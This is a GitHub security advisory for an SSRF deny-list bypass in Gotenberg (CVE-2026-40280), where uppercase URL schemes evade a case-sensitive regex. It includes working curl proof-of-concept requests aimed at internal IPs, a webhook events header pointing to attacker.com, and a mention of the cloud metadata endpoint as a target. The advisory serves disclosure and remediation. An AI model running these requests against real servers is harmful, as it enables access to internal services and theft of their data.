GHSA-5q7p-7jgv-ww56

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https://github.com/advisories/GHSA-5q7p-7jgv-ww56
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-5q7p-7jgv-ww56/GHSA-5q7p-7jgv-ww56.json
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Aliases
  • CVE-2026-40280
Published
2026-04-30T17:19:49Z
Modified
2026-05-08T15:50:25.653659Z
Severity
  • 9.3 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N CVSS Calculator
  • 7.8 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N CVSS Calculator
Summary
Gotenberg has case-insensitive URL scheme that bypasses webhook and downloadFrom deny-list SSRF protection
Details

Vulnerability Details

CWE: CWE-918 - Server-Side Request Forgery (SSRF)

The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally. Affected: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42, pkg/modules/api/api.go:199. Confirmed in Docker: http://172.17.0.1:12345/ returns HTTP 403 (blocked), HTTP://172.17.0.1:12345/ returns HTTP 202 (bypassed, TCP connection attempted). Same pattern as CVE-2026-27018/GHSA-jjwv-57xh-xr6r but in newly added webhook+downloadFrom deny-lists (commit 3f01ca1, 2026-04-07). Affected versions: <= 8.30.1. CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N = 9.1.

Summary

The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally.

The same bypass (case-insensitive scheme) was previously reported for the Chromium deny-list in CVE-2026-27018 (GHSA-jjwv-57xh-xr6r), but the newly added deny-lists for webhook and downloadFrom contain the identical flaw.

Affected file/function: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42 (default regex), pkg/modules/api/api.go:199 (default regex)

Steps to Reproduce

1. Start Gotenberg:
   docker run --rm -d -p 3001:3000 --name gotenberg-test gotenberg/gotenberg:8

2. Baseline — lowercase http:// is blocked (HTTP 403):
   curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
     -H "Gotenberg-Webhook-Url: http://172.17.0.1:12345/callback" \
     -H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
     -F "url=https://example.com/"

3. Bypass — uppercase HTTP:// bypasses deny-list (HTTP 202, connection attempted):
   curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
     -H "Gotenberg-Webhook-Url: HTTP://172.17.0.1:12345/callback" \
     -H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
     -F "url=https://example.com/"
   # Returns 202 + Gotenberg logs: "Post \"http://172.17.0.1:12345/callback\": connection refused"

4. downloadFrom bypass (response content included in PDF):
   curl -s -w "\nHTTP %{http_code}" http://localhost:3001/forms/chromium/convert/html \
     -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
     -F 'downloadFrom=[{"url":"HTTP://172.17.0.1:12345/secret.html"}]' <<< '<html><body>test</body></html>'
   # Error is "Unable to download file" (connection refused), not "filter URL" — bypass confirmed

Impact

An unauthenticated attacker can access internal network services (private IP ranges, loopback, link-local) that the deny-list was designed to block. The downloadFrom SSRF can exfiltrate content from internal services that respond with Content-Disposition headers. In cloud environments, this could allow access to instance metadata services (e.g., HTTP://169.254.169.254/latest/meta-data/). This bypasses the same security control that was patched in CVE-2026-27018.

Fix

Normalize the URL scheme to lowercase before passing to FilterDeadline, or compile deny-list regexes with the case-insensitive flag ((?i)).

Vulnerable Code

// See description for details

Steps to Reproduce

  1. Set up the application using the default configuration
  2. See the vulnerability details above

Impact

This vulnerability may allow an attacker to compromise the application.

Database specific
{
    "cwe_ids": [
        "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-30T17:19:49Z",
    "nvd_published_at": "2026-05-05T20:16:38Z",
    "severity": "HIGH"
}
References

Affected packages

Go / github.com/gotenberg/gotenberg/v8

Package

Name
github.com/gotenberg/gotenberg/v8
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Purl
pkg:golang/github.com/gotenberg/gotenberg/v8

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
8.31.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-5q7p-7jgv-ww56/GHSA-5q7p-7jgv-ww56.json"
last_known_affected_version_range
"<= 8.30.1"